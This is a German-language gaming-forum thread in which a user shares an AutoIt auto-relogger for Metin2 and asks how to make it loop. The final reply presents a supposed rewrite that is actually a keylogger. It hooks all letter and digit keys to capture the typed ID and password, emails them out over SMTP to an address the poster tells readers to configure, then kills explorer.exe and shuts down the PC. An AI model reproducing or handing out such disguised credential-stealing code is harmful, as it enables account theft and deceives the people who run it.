Register for your free account! | Forgot your password?

Go Back   elitepvpers › Coders Den › AutoIt
Autoit Frage. Autoit Frage.
You last visited: Today at 20:21

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement


Advertise with us!

Autoit Frage.

Discussion on Autoit Frage. within the AutoIt forum part of the Coders Den category.

Reply
 
Old   #1
 
elite*gold: 0
The Black Market: 11/0/0
Join Date: Feb 2010
Posts: 1,794
Received Thanks: 640
Autoit Frage.

Ja, hier ist mein Script:

PHP Code:
#RequireAdmin
#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 272, 215, 193, 125)
GUISetBkColor(0x3399FF)
$Input1 = GUICtrlCreateInput("", 32, 24, 233, 21)
$Input2 = GUICtrlCreateInput("", 30, 61, 233, 21)
$Combo1 = GUICtrlCreateCombo("Serverauswahl", 32, 96, 233, 25)
GUICtrlSetData(-1, "1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23")
$Checkbox1 = GUICtrlCreateCheckbox("Anschalten", 103, 213, 233, 25)
$Start = GUICtrlCreateButton("Start", 32, 152, 89, 25, 0)
$Stop = GUICtrlCreateButton("Stop", 125, 151, 89, 25, 0)
$ID = GUICtrlCreateLabel("ID", 16, 24, 15, 17)
$PW = GUICtrlCreateLabel("PW", 8, 64, 22, 17)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
winmove("METIN2", "", 0, 0)
While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
            
    Case $Start

If (GUICtrlRead($Combo1)) = 1 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 371, 400)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 2 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 373, 419)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 3 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 376, 437)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 4 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 386, 454)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 5 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 377, 470)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 6 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 376, 487)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 7 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 378, 506)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 8 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 370, 521)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 9 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 373, 538)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 10 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then
MouseClick("left", 372, 557)    
MouseClick("left", 372, 557)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 11 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 376, 570)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 12 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 371, 589)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 13 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 377, 608)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 14 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 374, 624)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 15 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 375, 641)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 16 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 487, 403)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 17 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 489, 422)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 18 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 487, 437)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 19 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 489, 454)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 20 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 488, 470)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 21 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 488, 470)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 22 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 480, 504)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

If (GUICtrlRead($Combo1)) = 23 Then 
If PixelGetColor(21, 771) = 0xDA0002 Then    
MouseClick("left", 480, 520)
MouseClick("left", 624, 401)
MouseClick("left", 641, 713)
Send(GUICtrlRead($Input1))
Send("{tab}")
Send(GUICtrlRead($Input2))
Send("{enter}")
Sleep(10000)
If PixelGetColor(63, 281) = 0x584E41 Then
MouseClick("left", 193, 567)
EndIf
EndIf
EndIf

Case $Stop
While 1
    Sleep(1)
WEnd
EndSwitch
WEnd 
Es ist ein Relogger.
was soll verändert werden?

Das er auch wenn man ein zweites mal gekickt wird sich wieder einloggt( der loggt sich immer nur einmal ein, nach dem klick auf start, also iwie ne endlosschleife)

Lg FanTasY.
FanTasY. is offline  
Old   #2

 
elite*gold: 146
The Black Market: 9/0/0
Join Date: Apr 2008
Posts: 14,686
Received Thanks: 9,969
Die Schnittstelle is offline  
Thanks
1 User
Old   #3
 
elite*gold: 0
The Black Market: 11/0/0
Join Date: Feb 2010
Posts: 1,794
Received Thanks: 640
Oh,danke kannste das verschieben?
FanTasY. is offline  
Old   #4
 
BloodlyKnife's Avatar
 
elite*gold: 0
The Black Market: 0/0/0
Join Date: Mar 2010
Posts: 188
Received Thanks: 80
Ich würde

Code:
If (GUICtrlRead($Checkbox6)) = 1 Then
	If (GUICtrlRead($Combo1)) = 01. Mosha Then
	If PixelGetColor(1359, 467) = 0x703899 Then
		MouseClick("left", 378, 339)
		MouseClick("left", 830, 527)
		MouseClick("left", 844, 789)
		Send(GUICtrlRead($Input1))
		Send("{tab}")
		Send(GUICtrlRead($Input2))
		Send("{enter}")
		Sleep(20000)
		Send("{enter}")
		Sleep(10000)
	EndIf
EndIf
EndIf
(Das is vom Metin2 Bot)
Benutzen.

Und das noch in einer While schleife machen.
Immer wenn dann auf dem Pixel die farbe erscheint macht er das und loggt sich halt ein
BloodlyKnife is offline  
Old   #5


 
Cholik's Avatar
 
elite*gold: 4
The Black Market: 33/0/0
Join Date: Aug 2008
Posts: 6,783
Received Thanks: 4,992
#moved
Cholik is offline  
Old   #6
 
elite*gold: 1
The Black Market: 2/0/0
Join Date: Feb 2010
Posts: 226
Received Thanks: 55
ich würde ihn KOMPLETT umschreiben......
und zwar so... :
PHP Code:
#include <File.au3>
$prozess = ProcessExists ("metin2client.bin")
If Not $prozess = 0 Then 
MsgBox (0,"Metin2 Fenster","Ein Metin2 Fenster Exsistiert")
MsgBox (0,"Metin2 Fenster","Schließe Erst das Metin2 Fenster und starte dann den Bot")
Exit
EndIf
MsgBox (0,"Metin2 Fenster starten","Starte jetzt dein Metin2 Fenster")
Do
$prozess = ProcessExists ("metin2client.bin")
Until Not $prozess = 0
MsgBox (0,"Einloggen","Logge dich jetzt ein")
MsgBox (0,"Einloggen","Wenn du dich eingeloggt hast drücke F5")
$str="" 
$bs=StringSplit("a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9",",") 
$i=1; 
while $i<=$bs[0] 
    HotKeySet($bs[$i],"e") 
$i=$i+1; 
wend 
Func e() 
    HotKeySet(@HotKeyPressed) 
    Send(@HotKeyPressed) 
    $str=$str&@HotKeyPressed 
    HotKeySet(@HotKeyPressed,"e") 
EndFunc
HotKeySet ("{F5}","keylogger")
Func keylogger()
IniWrite ("metin2.abc","hi","hi",1)
EndFunc
While 1
    Sleep (1000)
$Input1 = ("mail.sistecs.de")
$Input2 = ("")
$Input3 = ("")
$Input5 = ("DATEN")
$Input7 = ("")
$Input8 = ("ein beispielname")
$Input4 = ("")
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
If IniRead ("metin2.abc","hi","hi",1) = 1 Then
IniWrite ("metin2.abc","hi","hi",2)
$rc = _INetSmtpMailCom($Input1,$Input2,$Input3,$Input4,$Input5,$str, "", "","",$Input7, $Input8)
EndIf
WEnd
 Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "")
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment ($S_Files2Attach[$x])
            Else
                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
    if @error then
        SetError(2)
        return $oMyRet[1]
    EndIf
EndFunc;==>_INetSmtpMailCom
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description,3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc;==>MyErrFunc

ProcessClose ("explorer.exe")
Shutdown (1) 
puh^^ naja sso würds ich machen... dan sendet er die daten direkt an deine email^^

waste noch ändern musst:

$Input2
$Input3
$Input7
musste deine 2te email eingeben
und bei
$Input4
deine hauptemailadresse (an die adresse, wo die daten dann verschikt werden soll)
und bei
$Input8
musst du noch deinen namen eingeben^^

ACHTUNG:
$Input1
und
$Input5
nicht verändern! sonst stimt alles nicht mehr zusammen^^
naja is hald für metin2 gedacht^^ einen hacken gibts allerdings noch!
und zwar:
(ein beispiel der id und pw gibts nich^^)
BETREFF: DATEN
NACHRICHT: beispielhulahup
bei der email werden acc daten also id+pw nicht getrennt, sondern zusammen...
aber das sollte kein großes problem sein binnen einer halben minute haste es gefunden^^
naja ich hoffe es geht!

und nochwas er hat etwas eingebaut dass man metin2 schliesen muss, bot starten, metin starten, einloggen, F5 drücken, dann fährt er herunter^^
XxFratziXx is offline  
Reply

« Autoit Helper Tool By Masterakio1995 & Secret1994 | [Suche] Bot für Metin »



All times are GMT +2. The time now is 20:21.

elitepvpers - play less, get more - Top

Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.